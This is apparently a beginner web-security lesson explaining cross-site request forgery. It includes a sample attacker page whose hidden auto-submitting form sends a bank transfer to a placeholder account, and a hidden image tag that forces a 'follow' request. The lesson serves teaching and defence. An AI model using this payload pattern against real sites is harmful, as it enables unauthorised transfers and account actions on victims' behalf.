SyntaxStudy
Sign Up
Web Security How CSRF Attacks Work
Web Security Beginner 1 min read

How CSRF Attacks Work

Cross-Site Request Forgery (CSRF) exploits the browser's automatic inclusion of credentials — cookies, Basic Auth headers — in every request to a site, regardless of where the request originated. An attacker tricks a logged-in victim into visiting a malicious page that silently sends a state-changing request to the victim's bank, social network, or email provider. Because the browser attaches the victim's session cookie, the target server cannot distinguish the forged request from a legitimate one. A classic CSRF attack embeds an `` tag on a malicious page. The moment the victim loads the page, the browser sends a GET request to the bank with the victim's session cookie. GET requests should never cause state changes — but POST-based CSRF is equally possible using a hidden HTML form that auto-submits via JavaScript. CSRF affects any web application that relies solely on cookie-based session management without additional origin verification. Single Page Applications that use Bearer tokens in the Authorization header (not cookies) are inherently CSRF-immune because the browser does not automatically add that header to cross-origin requests. Traditional server-rendered applications with cookie sessions require explicit CSRF protection.
Example
<!-- Attacker's malicious page: CSRF via auto-submitting form -->

<!DOCTYPE html>
<html>
<head><title>Win a Prize!</title></head>
<body>
<h1>Congratulations! You won!</h1>

<!-- Hidden form that targets the victim's bank -->
<form id="csrf-form"
      action="https://bank.example.com/api/transfer"
      method="POST"
      style="display:none">
    <input type="hidden" name="recipient_account" value="ATTACKER-ACCOUNT-123">
    <input type="hidden" name="amount"            value="5000">
    <input type="hidden" name="currency"          value="USD">
</form>

<script>
  // Auto-submit as soon as the page loads
  // The browser automatically sends the victim's bank session cookie
  document.getElementById('csrf-form').submit();
</script>

<!-- GET-based CSRF via image tag (for state-changing GET endpoints) -->
<img src="https://socialsite.example.com/api/follow?user_id=attacker_id"
     width="1" height="1" style="display:none">

<!-- The victim never sees anything suspicious — the attack is invisible -->
</body>
</html>